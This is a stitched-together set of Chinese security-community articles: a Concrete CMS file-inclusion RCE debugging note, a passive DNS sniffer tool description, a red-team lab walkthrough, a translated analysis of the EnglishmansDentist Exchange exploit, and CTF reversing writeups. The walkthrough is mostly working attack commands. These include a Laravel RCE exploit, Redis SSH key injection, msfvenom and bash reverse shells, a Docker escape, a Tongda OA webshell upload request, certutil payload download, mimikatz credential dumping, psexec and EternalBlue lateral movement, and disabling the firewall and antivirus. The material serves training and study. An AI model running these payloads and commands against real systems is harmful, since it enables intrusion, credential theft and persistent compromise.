从concrete/src/Http/DefaultDispatcher.php handleDispatch：131进入，这里列出一些关键地方，从concrete/src/View/View.php：288 renderTemplate函数开始，先是包含了 concrete/themes/elemental/default.php，进行一些页面头文件的渲染，之后9行进入正题： 这里的$c根据前面的分析，已经带入了cID,跟进到11行： load：771中调用了getAreaBlocks： getBlocks： 跟进getBlockIDs： /** * List the block IDs and the associated area handles in the currently loaded collection version (or in a specific area within it). * * @param string|false $arHandle The handle if the area (or falsy to get all the blocks in the collection version) * * @return array Return a list of arrays, each one is a dictionary like ['bID' => <block ID>, 'arHandle' => <area handle>] */ public function getBlockIDs($arHandle = false) { $blockIDs = CacheLocal::getEntry( 'collection_block_ids', $this->getCollectionID() . ':' . $this->getVersionID() ); if (!is_array($blockIDs)) { $v = [$this->getCollectionID(), $this->getVersionID()]; //cID $db = Loader::db(); $q = 'select Blocks.bID, CollectionVersionBlocks.arHandle from CollectionVersionBlocks inner join Blocks on (CollectionVersionBlocks.bID = Blocks.bID) inner join BlockTypes on (Blocks.btID = BlockTypes.btID) where CollectionVersionBlocks.cID = ? and (CollectionVersionBlocks.cvID = ? or CollectionVersionBlocks.cbIncludeAll=1) order by CollectionVersionBlocks.cbDisplayOrder asc'; $r = $db->GetAll($q, $v); $blockIDs = []; if (is_array($r)) { foreach ($r as $bl) { $blockIDs[strtolower($bl['arHandle'])][] = $bl; } } CacheLocal::set('collection_block_ids', $this->getCollectionID() . ':' . $this->getVersionID(), $blockIDs); } $result = []; if ($arHandle != false) { $key = strtolower($arHandle); if (isset($blockIDs[$key])) { $result = $blockIDs[$key]; } } else { foreach ($blockIDs as $arHandle => $row) { foreach ($row as $brow) { if (!in_array($brow, $blockIDs)) { $result[] = $brow; } } } } return $result; } 这里通过cID关联到了bID,接着，getBlocks函数的894： foreach ($blockIDs as $row) { $ab = Block::getByID($row['bID'], $this, $row['arHandle']); concrete/src/Block/Block.php：168，getByID函数的数据库查询： $q = 'select CollectionVersionBlocks.isOriginal, CollectionVersionBlocks.cbIncludeAll, Blocks.btCachedBlockRecord, BlockTypes.pkgID, CollectionVersionBlocks.cbOverrideAreaPermissions, CollectionVersionBlocks.cbOverrideBlockTypeCacheSettings, CollectionVersionBlocks.cbRelationID, CollectionVersionBlocks.cbOverrideBlockTypeContainerSettings, CollectionVersionBlocks.cbEnableBlockContainer, CollectionVersionBlocks.cbDisplayOrder, Blocks.bIsActive, Blocks.bID, Blocks.btID, bName, bDateAdded, bDateModified, bFilename, btHandle, Blocks.uID from CollectionVersionBlocks inner join Blocks on (CollectionVersionBlocks.bID = Blocks.bID) inner join BlockTypes on (Blocks.btID = BlockTypes.btID) where CollectionVersionBlocks.arHandle = ? and CollectionVersionBlocks.cID = ? and (CollectionVersionBlocks.cvID = ? or CollectionVersionBlocks.cbIncludeAll=1) and CollectionVersionBlocks.bID = ?'; } 至此成功获取了写入到数据库的bFilename。 那么一开始说了，其实这个核心还是在于路径穿越导致的任意文件包含，写入到数据库的bFilename也只是个../../../开头的文件路径，那么必然还有一个类似.拼接的操作，带着疑问，又调试了一波。 前面得出是在concrete/src/Area/Area.php：824 加载到了bFilename，接着853$bv->render('view'); 跟进161的setupRender: 153通过$this->block->getBlockFilename()返回了$bFilename，这里还是../../的形式，接着往下进入BlockViewTemplate的构造函数： 在computeView：105行断点的地方，最终发现了罪魁祸首。 后面就简单了，在renderViewContents中include： **结语** 偶然遇到的rce对学习代码又有了一些新的认识。 **参考** <https://hackerone.com/reports/1102067>
社区文章
Author：cf_hb@[勾陈安全实验室](http://www.polaris-lab.com/) ## Pdns_sniff是什么？ 简单理解为一个记录你发起过的DNS请求的东西，利用了Passive DNS 思路，被动的记录发起过的DNS请求。 ## Pdns_sniff有什么用？ 利用这样的工具可以帮助我在愉快的上网的同时，轻松搜集到测试目标的各种子域名。 ## Pdns_sniff原理是什么？ 利用了Python里的强大的Scapy套件，运用它抓取，解析出DNS请求包从而得到各种域名。使用了mysql进行数据存储，利用了gevent协程进行并发进行数据包的分析和写入数据库（PS：刚学gevent，拿来用用。） ## 效果图 ### 效果图一：数据库中记录1 ### 效果图二：数据库中记录2 ### 效果图三：工具输出记录 ## 使用方法 ### 需要安装的三方库 * gevent * scapy * MySQLdb ### 需要修改的数据库配置 大概在第29行 conn = mysql.connect(user='root', passwd='yourpassword', host='127.0.0.1', db='dnslogsDB') ### Pdns_sniff相关代码 <https://github.com/coffeehb/tools/tree/master/pdns_sniff>
社区文章
# 所涉及到的知识点： 1、WEB安全-漏洞发现及利用 2、系统安全-权限提升(漏洞&配置&逃逸) 3、内网安全-横向移动(口令传递&系统漏洞) # 实战演练-ATT&CK实战系列-红队评估 环境下载： > <http://vulnstack.qiyuanxuetang.net/vuln/detail/9/> > 利用资源： > <https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP> > <https://github.com/briskets/CVE-2021-3493> > <https://blog.csdn.net/szgyunyun/article/details/107104288> > 参考WP: > <https://www.freebuf.com/articles/network/264560.html> > 涉及技术： > 1.漏洞搜索与利用 > 2.Laravel Debug mode RCE（CVE-2021-3129）漏洞利用 > 3.Docker逃逸 > 4.通达OA v11.3 漏洞利用 > 5.Linux环境变量提权 > 6.Redis 未授权访问漏洞 > 7.Linux sudo权限提升（CVE-2021-3156）漏洞利用 > 8.SSH密钥利用 > 9.Windows NetLogon 域内权限提升（CVE-2020-1472）漏洞利用 > 10.MS14-068漏洞利用 # 服务配置 靶场中各个主机都运行着相应的服务并且没有自启功能，如果你关闭了靶机，再次启动时还需要在相 应 的主机上启动靶机服务： ## DMZ区的 Ubuntu 需要启动nginx服务：(web1) 1 sudo redis-server /etc/redis.conf 2 sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf 3 sudo iptables -F ## 第二层网络的 Ubuntu需要启动docker容器：(web2) 1 sudo service docker start 2 sudo docker start 8e172820ac78 ## 第三层网络的 Windows 7 （PC 1）需要启动通达OA： 1 C:\MYOA\bin\AutoConfig.exe # 域用户信息 域用户账户和密码如下： > Administrator：Whoami2021 > whoami：Whoami2021 > bunny：Bunny2021 > moretz：Moretz2021 ### Ubuntu 1： > web：web2021 > > ### Ubuntu 2： > > ubuntu：ubuntu > > ### 通达OA账户： > > admin：admin657260 # kali开启ssh服务 `/etc/init.d/ssh start xshell 连接22端口和kali的ip` # 渗透过程 * * * 1.用kali扫描web1的外网端口(这里是46.160,kali是46.158地址) `nmap -T4 -sC -sV 192.168.46.160` 2.扫描出该ip地址81端口开放，则判断出使用的是laravel，以此来进行漏洞利用 81端口：laravel 存在最新漏洞 python laravel-CVE-2021-3129-EXP.py http://目标地址 https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP 项目地址 3.用哥斯拉工具连接上传成功的后门, > 将有效载荷和加密器改为php的 > > 4.在上线之前先判断对方的搭建系统,出现这个就代表对方用的是docker来搭建的，那么接下来所要考虑的就是如何来进行docker逃逸。这里我上传冰蝎的木马改用冰蝎，是因为个人喜好冰蝎的工具，各位师傅可以上传其他后门改用蚁剑菜刀连接都可以。 5.这里我们将web权限反弹到msf是不成功的 其一:是因为对放将81端口代理到52.20:8000端口上,这里肯定是连接不通的，因为我们的msf主机和对方的52网段的不出网机子不通 其二:后门的代理没有走第一层网络 所以连接不上web2上的主机 6..所以我们入侵该主机并不能造成太大的威胁，借此我们要入侵web1的其他端口（kali扫描全部端口）扫到了6379的端口redis `nmap -T4 -sC -sV -p1-65535 192.168.xx.xxx` 7.Ubuntu 1 DMZ渗透 redis未授权判断如果进入就代表有redis未授权(kali运行) `redis-cli -h 192.168.xx.xxxxx` 7.1Redis未授权访问-ssh密匙 生成公钥(kali 上执行) `ssh-keygen -t rsa` 7.2将公钥导入1.txt文件 `echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > 1.txt` 7.3把1.txt文件内容写入目标主机的redis缓冲中 `cat 1.txt | redis-cli -h 192.168.46.160(web主机) -p 6379(redis端口) -x set hello` 7.4设置redis的备份路径为/root/.ssh/ `config set dir /root/.ssh` 7.5设置保存文件名为authorized_keys `config set dbfilename authorized_keys` 7.6将数据保存在目标服务器硬盘上 `save` 7.7连接web1上的主机 `ssh [email protected]` 7.8获取web1的主机 8.因为连接到web1的主机，所以这里生成正向反向的后门都可以，我这里生成的是反向连接的后门 `msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.46.158 lport=6666 -f elf -o p1.elf` 9.在将生成的后门放到刚刚连接到的web1的文件下 10.在用redis未授权访问的web1下载这个后门 `wget http://192.168.46.160:81/p1.elf` 11.在这个后门执行前,kali上要启用msf的监听模块 msfconsole 开启msf use exploit/multi/handler 使用监听模块 set payload linux/x64/meterpreter/reverse_tcp 设置刚刚生成后门的模块 set lhost 192.168.46.158 设置ip set lport 6666 设置端口 exploit 攻击 12.redis未授权访问的主机执行后门代码 13.然后进入到他的主机之后来进行横向渗透，首先来来利用msf强大的路由功能来获取其他网段的路由 sessions 1 回到会话中 run get_local_subnets 获取本地路由 run autoroute -p 查询本地路由 run post/multi/manage/autoroute 得到本地路由 14.内网探针来查询52网段有那些ip地址存活,可能只扫到一个30的地址，其实还可以ping到20的地址 background 返回 use auxiliary/scanner/discovery/udp_probe 使用扫描模块 show options 展示选项 set rhosts 192.168.52.1-255 设置主机范围 set threads 10 设置线程 run 运行 15.在利用环境变量配合SUID本地提权 ```find / -user root -perm -4000 -print 2>/dev/null 16.通过对文件反编译或源代码查看，覆盖其执行环境变量，直接让其执行指定程序获取权限 cd /home/jobs ./shell chmod 777 ps cp /bin/bash /tmp/ps 17.因为环境变量问题所以我们将这个二层网络的主机反弹到一层网络主机上面所以在创建一个kali会话连接到第一层的网络主机上面，设置nc将二层网络主机的权限反弹到一层主机上面 `nc -lvp 1234` 18.将web权限反弹到第一层主机上 `bash -c 'exec bash -i >& /dev/tcp/192.168.52.10/1234 0>&1'` 19.添加环境变量 export PATH=/tmp:$PATH 添加环境变量 echo $PATH 查看环境变量 20.在来使用shell提升权限 ./shell id 查看权限 21.kali生成正向连接的后门由此来连接 `msfvenom -p linux/x64/meterpreter/bind_tcp lport=7777 -f elf -o p2.elf 生成正向连接的后门` 22.在将这个后门放到冰蝎连接上的web主机上面 23.在来使用kali的msf监听这个后门 use exploit/multi/handler set payload linux/x64/meterpreter/bind_tcp show options set lport 7777 set rhost 192.168.52.20 主机连接对方的ip地址 exploit 1. 然后在提权的机器上运行后门发现不成功，这就是涉及到前面所提及到的dokcer（为了确保能木马能运行，在真实机上运行试验一下验证） 25.docker逃逸在那台提权上的主机上进行逃逸 fdisk -l 查看磁盘文件 ls /dev 查看设备文件 cd / mkdir hello mount /dev/sda1 /hello ls /hello 覆盖密匙： cp -avx /hello/home/ubuntu/.ssh/id_rsa.pub /hello/home/ubuntu/.ssh/authorized_keys -avx将权限也一起复制 echo > /hello/home/ubuntu/.ssh/authorized_keys 　　　　　 清空authorized_keys文件 echo '26步骤生成的密钥' > /hello/home/ubuntu/.ssh/authorized_keys 将ssh秘钥写入 26.pc1上覆盖密钥(重新建立一个kali的终端) ssh [email protected] 重新连接kali cat hello.pub 查看密钥 ssh-keygen -f hello 生成密钥 chmod 600 hello 给予权限 ls cat hello.pub 27.25步骤写入了密钥就可以连接52.20的主机（刚刚创建密钥的主机上连接） `ssh -i hello [email protected]` 28.在来运行该木马 29.然后建立的msf的监听就能接受到会话 30.然后再来进入到ubuntu的会话中查看路由地址，就能添加到93的主机地址 session 4 run get_local_subnets run autoroute -p run post/multi/manage/autoroute 31.现在我们已经拿下了20和10的主机，我们要拿下30的主机，我们要使用nmap来扫描ip地址的服务，虽然我们这台msf有52网段的ip路由，但是nmap不是msf内置的工具，所以我们可以设置一个代理来使用nmap扫描工具。 32.这里我使用msf自带的扫描模块 use auxiliary/scanner/portscan/tcp show options set rhosts 192.168.52.30 set threads 10 exploit 33.然后在用kali机连接到这个oa系统，前提win7上打开了oa系统，kali的浏览器上设置代理，使用burpsuite抓包 34. 这里就是使用通达OA系统的RCE和前台任意用户登录漏洞 34.1先在登录处抓包 34.2修改在路径，删除cookie，添加Uid 34.3然后就会返回这个cookie在来利用这个cookie未授权访问 34.4用获取的SESSID访问/general/ 34.5未授权文件上传 任意文件上传漏洞 /ispirit/im/upload.php，在来直接使用这个数据包修改ip和端口号就行 POST /ispirit/im/upload.php HTTP/1.1 Host: xxxx:xx Content-Length: 658 Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB Accept: _/_ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5 Cookie: PHPSESSID=123 Connection: close \------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="UPLOAD_MODE" 2 \------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="P" 123 \------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="DEST_UID" 1 \------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg" Content-Type: image/jpeg <?php $command=$_POST['cmd']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c ".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?> \------WebKitFormBoundarypyfBh1YB4pV8McGB-- 34.6在来使用文件包含来 命令执行 POST /ispirit/interface/gateway.php HTTP/1.1 Host: ip:端口 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: _/_ User-Agent: python-requests/2.21.0 Content-Length: 69 Content-Type: application/x-www-form-urlencoded json={"url":"/general/../../attach/im/图片路径"}&cmd=whoami 34.7发现可以命令执行，再来下载一个后门代码，前提是要生成一个windows后门木马,将木马放到web1的目录上 ```msfvenom -p windows/meterpreter/bind_tcp LPORT=7777 -f exe > w7.exe 34.8再来下载这个木马，执行我们的上线 `certutil -urlcache -split -f http://192.168.52.10:81/w7.exe c:/w7.exe` 34.9使用木马前监听这个后门 use exploit/multi/handler set payload windows/meterpreter/bind_tcp set rhost 192.168.52.30 set lport 7777 exploit 34.10 再来使用这个木马执行上线操作 35.成功之后发现有session5 ```background sessions sessions 5 37.然后在利用msf自带的扫描模块扫描 background use auxiliary/scanner/discover/udp_proe show options set rhosts 192.168.93.1-50 run 38.发现对方开放的ip地址和端口 ## 第一种情况是关闭了防火墙可直接执行上线操作 39.其一:利用ms17010 use auxiliary/scanner/smb/smb_ms17_010 扫描是否有ms17010漏洞 show options set rhosts 192.168.93.20-30 扫描20-30网段 exploit 40.发现有两台主机可以利用 41.其二:使用mimikatz来攻击 sessions sessions 5 load kiwi 载入mimikatz 42.如果这里提示x32不能执行x64，那就要移植进程 `kiwi_cmd sekurlsa::logonpasswords 获取账号密码` 43.先执行ps命令获取一个x64的system权限进程 ps migrate 4012 移植4012进程 44.再来执行刚刚的命令 `kiwi_cmd sekurlsa::logonpasswords 获取账号密码` 45.获取到administartor账号密码就来利用msf的psexec模块 background use exploit/windows/smb/psexec set payload windows/meterpreter/bind_tcp 改为正向连接 set rhost 192.168.93.30 设置主机 show options set smbuser 获取到的administrator账号 设置账号 set smbpass 获取到的密码 设置密码 exploit 46.其三:利用smb的ms17010的psexec的模块 use exploit/windows/smb/ms17_010_psexec 使用模块 set payload windows/meterpreter/bind_tcp 设置正向连接 set rhost 192.168.93.40 设置ip ## 开启防火墙 47.这就是开启了防火墙，攻击能成功但是反弹不了会话 48.首先建立session `sessions 5` 49.返回shell终端 50.强制关闭防火墙 net use \192.168.93.30\ipc$ "Whoami2021" /user:"Administrator" sc \192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \192.168.93.30 start unablefirewall 51.之后就可以继续攻击 background exploit 52.攻击win7的ms17010的模块 background use exploit/windows/smb/ms17_010_eternalblue show options set payload windows/x64/meterpreter/bind_tcp 改为正向连接 set rhost 192.168.93.40 run ``` # 补充: 关闭防火墙： netsh advfirewall set allprofiles state off 关闭win10的防火墙Denfender： net stop windefend 关闭DEP： bcdedit.exe/set{current}nx alwaysoff 关闭杀毒软件： run killav run post/windows/manage/killava 后记:本人初学内网，所以技术会有些菜，请各位师傅多多点播一下我。如文章有瑕疵，请师傅们批评指点一下.
社区文章
# 【技术分享】ShadowBrokers：针对EnglishmansDentist Exploit的分析 | ##### 译文声明 本文是翻译文章，文章来源：microsoft.com 原文地址：<https://blogs.technet.microsoft.com/srd/2017/07/20/englishmansdentist-exploit-analysis/> 译文仅供参考，具体内容表达以及含义原文为准。 **** **** 译者：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127) 预估稿费：200RMB 投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿 ** ** **0x00 前言** 我们继续编写系列文章来剖析2017年4月ShadowBroker公布的漏洞利用。在之前的两篇文章中与SMB漏洞利用有关（EternalChampion和EternalSynergy），这次我们将分析另一个工具，将关注一个名为EnglishmansDentist的漏洞利用，其针对Exchange Server 2003设计。 EnglishmansDentist的目标是Exchange 2003 邮件服务器，会利用Windows Server 2003底层操作系统提供的共享库中的渲染漏洞，该库默认配置为Exchange 2003所用。 新版的操作系统（Win Server 2008及以上）和更新版本的Exchange Server（2007及以上）不受这个漏洞利用的影响。因此对于新平台的用户，不必采取任何措施。 正如之前MSRC博客中宣称的，在考虑到代码已武器化及威胁规模的评估后，微软决定在6月为停止支持的平台（Windows XP和Server 2003）发布更新补丁，以保护那些不能更新新产品的客户。 本文将深入到这个漏洞的根因、微软产品的影响、漏洞利用的方式及在新版操作系统和产品中的现代缓解措施如何破环这种利用。 **0x01 概述** 这个漏洞的根因是在动态库（OLECNV32.dll）的代码中的一个内存破环的bug，其是用于渲染使用老的文件格式（如QucikDraw PICT）编码的图片的。这个图形库在Windows XP和Server 203上默认存在。Exchange Server 2003使用这个图形库来渲染使用电子邮件附件形式传播的PICT内容。因此，虽然底层bug存在于操作系统中，用于触发漏洞代码的攻击向量是一个Exchange 渲染例程，其通过OLE调用来调用。且使用一个精心构造的电子邮件触发。 当微软安全工程师分析共享组件（如图形库）中的漏洞时，最开始要回答两个非常重要的问题： 一直在支持的哪些产品可能使用或者分发这个有漏洞的共享库？ 有漏洞的库的代码是否复制或重用到其他组件中？ 对于第一个问题，我们确定有漏洞的OLECNV32.dll的库只存在于停止支持的平台中（如Windows Server 2003和XP），且前者是Exchange Server 2003默认安装平台。在研究了受影响的平台和可能的Exchange Server的安装组合，我们得到下面的矩阵，能帮助理解哪种产品的组合暴露于EnglishmansDentist的威胁中。 Exchange Server 2007不受这次攻击的影响，因为尽管这个库还是可能存在于硬盘上（在Windows Server 2003和Exchange 2007中不太常见），但是图形渲染引擎不再使用OLECNV32.dll库来渲染PICT图片了。新版本的Exchange Server（如2010和2013）也不受这个bug的影响，因此不用考虑他们。 关于源代码的调查，我们跟踪了停止支持的老版本中的Office中的PICT的有漏洞的代码如何整合并重用的。在这个调查期间，我们很高兴看到，尽管这个bug被开发者复制到Office的一个图形过滤中，但是微软的代码安全检视和模糊测试发现了这个bug，它在2006年就内部修复了。这个例子对于bug冲突很有代表性，内部渗透测试及模糊测试可能会提前扼杀攻击者使用漏洞。 EnglishmansDentist可能开始于2005年之前编写的，因为针对Exchange Server 2003 SP2测试， 这个漏洞利用似乎不能正常工作（会崩溃），并且它只针对32位的操作系统，可能是因为10年前64位的架构还不流行。 **0x02 漏洞利用的条件和传播机制** EnglishmansDentist需要攻击者在目标Exchange 2003邮件服务器上至少有一个可靠的邮件账户（用户名和密码）。实际上，漏洞利用首先有一系列验证和检查来确保可靠的账户能登录并成功检查邮件。漏洞利用也需要另一个电子邮件账户（真假皆可），用于发送恶意格式的PICT附件给可靠的账户。 在传播了恶意的PICT附件到目标邮件服务器后，这个工具使用可靠账户的凭据登录并强制Exchange 服务器使用多种可靠协议（OWA, IMAP, POP3）中的任一个来解析并渲染恶意的附件。因为渲染代码在服务端执行，成功利用将导致在Exchange 服务器进程（具有SYSTEM权限）的上下文中执行任意代码。 在漏洞利用后，EnglishmansDentist保持监听模式，以等待连接的shellcode。当这个发生时，工具命令Exchange服务器删除传播漏洞利用的恶意邮件，并移除攻击痕迹。 **0x03 漏洞：CVE-2017-8487** 为了理解这个漏洞，读者必须熟悉PICT图形规范和这个文件格式定义的操作码。在网上有些参考来解析这种老的文件格式。另一个参考是PICT内部操作码的解析代码的细节。 当针对Exchange Server 2003 SP2测试漏洞利用时，我们观察到在我们的测试环境中的崩溃问题；在本文中我们只包含了分析这个漏洞的相关信息和模块，红色标记的是攻击者控制的栈帧，黄色的是感兴趣的函数名。 从调用堆栈中可以看到，漏洞存在于OLECNV32.dll导出函数QD2GDI()中。这个函数负责转化并渲染QuickDraw图片，它为Exchange Server 2003中“store.exe”进程所用。当读取新邮件时通过OWA解析附件时这个例程被调用；这个解析器的攻击面是到达了OLE32中。 QD2GDI()的内部代码在解析一个LongComment记录（通常用0xA1标识）时有一个内存破环的bug。通过使用一个包含大于32字节的fontName字符串的PP_FONTNAME子记录来创建一个恶意构造的PICT文件能利用这个bug，其将触发固定大小变量的越界读写内存破环。 EnglishmansDensist提供的恶意构造的PICT图片与下面的很相似。 这个图片总是以2个硬编码的头开始。一个是用于整合PICT图片到TNEF OLE容器中（通过Exchange使用的邮件附件格式）；第二个是表示一个正常的PICT头。两个静态头紧接着标记TxFont记录和触发内存破环的有漏洞的LongComment记录。 恶意的PICT是在EnglishmansDentist中的位于偏移0x404621和0x404650处的两个例程的代码生成的。通过汇编静态头和多个PICT头完成，其中包括恶意构造的0xA1操作码和其他用于传播ROP链和加密的shellcode payload的记录。 解码头，且通过QD2GDI执行记录将立马命中恶意构造的0xA1操作码，并触发漏洞。 正如之前提到的，这个bug在微软内部被发现过。因此函数GetString()多年前已经修改过了，需要调用者传入缓冲区的长度，并加强检查以避免越界读写。 **0x04 漏洞利用：缺少缓解措施** 不幸的是，在类似Windows Srever 2003的环境中利用越界覆盖的漏洞很容易，因为缺少基本的缓解措施，如ASLR和CFG。在Windows Server 2003中，DEP能简单的被绕过，因为缺少ASLR。没有内存布局随机化，攻击者使用事先计算好的ROP链来调用VirtualAlloc并从shellcode转移到新分配的可执行缓冲区中。 这个漏洞利用首先通过恶意格式的0xA1记录来触发内存破环漏洞，并且越界覆盖来破环存储其他对象的OLECNV32结构体。这个漏洞利用的目标是全局的fontTable()数组中的一个字体条目，稍后会复制到gdiEnv结构体，被哪个能使用覆盖函数指针来控制执行。 下面漏洞利用期间捕获的内存转储表明了fontTable[]数组的例子，一些条目被有漏洞的GetString()引起的内存覆盖破环了。来自PICT文件的恶意形式的数据覆盖fontTable[]是可能的，并且下面红色标记的初始ROP gadget（0x6D8B1CFD）。 在破环fontTable[]之后，利用解析其他PICT操作码触发更多的漏洞、这将导致OLECNV32做更多的字符串拷贝操作来复制恶意格式的字体信息到OLECNV32!gdiEnv数据结构体中，参加下面代码片段（fontTable[newFont]是恶意形式的，现在被黑客控制了）。 最后的字符拷贝操作将导致函数指针被覆盖，能被攻击者在EnumFonts函数被调用时作为回调来控制。 **0x05 漏洞利用：针对英文、德文、韩文和中文的ROP链** 漏洞利用使用位于Dbghelp.dll中的ROP gadget，它通常会被Exchange Server 的store.exe进程加载到内存空间中。第一个版本的漏洞利用也可以使用OLDCNV32.dll gadget来代替。即使缺少ALSR随机化，得到稳定并通用的漏洞利用也不是立马能办到的，因为Dbghelp.dll是个依赖于语言的库（不同操作系统语言有不同的版本）。在不同的Windows Server 2003版本中这是不同的。 攻击者通过事先计算好了他们感兴趣的每个操作系统版本中的正确的偏移。实际上，配置文件XML包含于EnglishmansDentist包含了针对Windows Server 2003英文版（同时还有德文、韩文、简体中文、繁体中文）开发的ROP链。 解码EnglishmansDentist中配置的ROP gadget将映射到Dbghelp.dll模块中的代码。 第一个gadget通过覆盖函数指针执行（0x6d8b1cfd），将做一些栈对齐和保持EBP平衡（add 0x1A0），然后使用LEAVE/RET指令的组合转移控制到完整的ROP链中。完整的ROP链（在内存中可见）显示如下。这个ROP很小，用于分配内存来绕过DEP（0x8888字节），并复制这个区域的shellcode（egghunter），其是用于使用SYSTEM权限运行最后的后门payload。 **0x06 检测和缓解措施** 正如我们之前提到的，Windows Server 2003缺少基本的缓解措施。因为ASLR、CFG和其他的缓解措施，在现代操作系统中（如Windows 10创新者更新或者Windows Server 2016）将变得很难利用。同时，完整性等级和容器（沙箱）的引入，使得微软限制一些图像渲染组件来使得在类似这个解析漏洞中的破环程度最小化。（比如office保护模式，浏览器的AppContainer，和字体渲染的字体沙箱）。 最后，这些天在微软编译器找那个的安全检查和模糊测试的使用能找到并消除类似的bug，从源码级减少bug。 我们提供了一个yara规则来检测通过EnglishmansDentist通过邮件传播的PICT图形。
社区文章
# INS hack teaser 2019 逆向题解 ##### 译文声明 本文是翻译文章 译文仅供参考，具体内容表达以及含义原文为准。 > 周末没事的时候看了下ctftime上的比赛，正好有个 Insomni’hack teaser > 2019的比赛，于是花了点时间做了下逆向的2道题，有点意思，学到了很多知识。 ## beginner_reverse > A babyrust to become a hardcore reverser. 看题目意思很明显了，是个硬核的rust逆向题，关于rust语言，自己没有了解，Google了一下，大致是一种着重于安全开发的系统编程语言。 ### 直接上手 首先用`file`命令查看下文件特性。 很庆幸，是带符号的动态编译的文件。于是暴力就完事了，直接用ida打开，如下图所示。 这里和一般的C逆向不一样的是，rust运行时环境的初始化过程。由于自己不熟悉rust语言的特性，按照惯性思维，认为start最后返回之前的函数一般为主函数，而开头的函数一般为运行时初始化函数，导致一开始函数分析错误，这也同样导致了ida的反编译F5功能失败。 int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax std::rt::lang_start_internal::had9505969b8e20a2(); return result; } 如果我们跟进这个`lang_start_internal`函数的话，就会发现找不到我们实际的主函数在什么地方，而一般情况下，主函数肯定是在初始化后才执行的，所以这里会卡住，迷失了方向。 ### 写个demo 为了弄清rust加载运行时环境的流程，自己装上了rust的编译环境，同时写了个简单的demo进行编译测试。源代码如下： fn main() { println!("hello world"); } 编译代码如下： rustc main.rs 运行结果就是输出`hello world`，但我们关心的是输出文件，为此，我使用ida载入文件并分析。可以看到，和题目类似的格式。 为了定位主函数的位置，我直接使用搜索字符串的方法，查找交叉引用。如下图所示。 然后我们可以进一步查找该处的交叉引用，就能定位到主函数的位置。 void main::main::hfe98083a4c87500f() { char v0; // [rsp+8h] [rbp-30h] core::fmt::Arguments::new_v1::h9482ffdd5f1340ab(&v0, &ptrHelloworld, 1LL, off_23170, 0LL); std::io::stdio::_print::h46f3f0db7dd4cd21(); } 关于这个主函数所引用的位置，我们可以看到如下所示的情况。 lea rdi, _ZN4main4main17hfe98083a4c87500fE ; mov [rsp+8+var_8], rsi mov rsi, rax mov rdx, [rsp+8+var_8] call _ZN3std2rt10lang_start17hd1a40614a9e43128E 也就是说在rust中，rust编译器通过使用寄存器指向主函数地址，作为函数指针，作为`lang_start_internal`函数的参数，供rust运行时来初始化程序状态。更多关于rust的主函数加载情况，参看[Rust Runtime Services](https://github.com/rust-lang/rust/blob/3575be60ea/src/libstd/rt.rs)。 ### 分析主函数 解决了这个问题，我们就能找到主函数了，下面我们就跟进`beginer_reverse::main::h80fa15281f646bc1()`这个函数（其实从名字也能看出来，上文基本解释了原因）函数首先载入了一大段密文，很容易猜测这个是密文了，或者通过交叉引用也能看出来，然后从命令行读取输入。 然后会进行很多检测，首先检测长度，再检测输入的最后一位是否正常。 之后会遍历每一个输入，然后进行检测，判断范围等等操作，然后再将每个值拷贝到栈中缓存。由于rust十分注重安全性检测，所以这里的工作有点复杂，自己是用动态调试配合硬件断点的方式直接跳过这段检查了。 比如我输入aptx4869就会变成这样，如下图所示。 在下一次断点断下的时候，我们就会看到常见的循环+相等判断，估计就是解密所在的位置了。找到伪代码对应的位置，如下图所示： 对比看汇编，此时的明文和密文分别由r14和r15寄存器的首地址所指向，我们直接查看即可。 这和我们最开始看到的数据是相匹配的，不同的是，在程序载入后，修改了最后的2个数据，所以我们直接dump下这段密文，然后根据上面所示的判断方法来计算，就能得到flag了。 cipher = [0x0000010E, 0x00000112, 0x00000166, 0x000001C6, 0x000001CE, 0x000000EA, 0x000001FE, 0x000001E2, 0x00000156, 0x000001AE, 0x00000156, 0x000001E2, 0x000000E6, 0x000001AE, 0x000000EE, 0x00000156, 0x0000018A, 0x000000FA, 0x000001E2, 0x000001BA, 0x000001A6, 0x000000EA, 0x000001E2, 0x000000E6, 0x00000156, 0x000001E2, 0x000000E6, 0x000001F2, 0x000000E6, 0x000001E2, 0x000001E6, 0x000000E6, 0x000001e2, 0x000001de, 0x00000000, 0x00000000] cipher = ''.join(map(lambda x: chr((x>>2) ^ 0xa), cipher)) print cipher ### 总结 1. 总体来说这题不算很难，也说不上是硬核题，主要是语言不熟悉，导致了对语言的特性不清楚，在这点上浪费了很多时间。 2. 同时由于rust语言采用大量的安全检测来保证后续的计算正常，在静态分析上出现了些麻烦，但能通过动态调试进行很好的解决。 3. 程序不是静态链接的，分析起来有字符串可以参考，函数名也有理有据，对逆向有很多帮助，同时最后的算法也很简单，完全不需要逆向，正向计算即可。 ## Junkyard > Wall-E got stuck in a big pile of sh*t. To protect him from feeling too bad, > its software issued an emergency lock down. Sadly, the software had a > conscience and its curiosity caused him to take a glance at the pervasive > filth. The filth glanced back, and then…Please free Wall-E. The software was > invented by advanced beings, so maybe it is way over your head. Please skill > up fast though, Wall-E cannot wait for too long. To unlock it, use the login > `73FF9B24EF8DE48C346D93FADCEE01151B0A1644BC81” and the correct password. 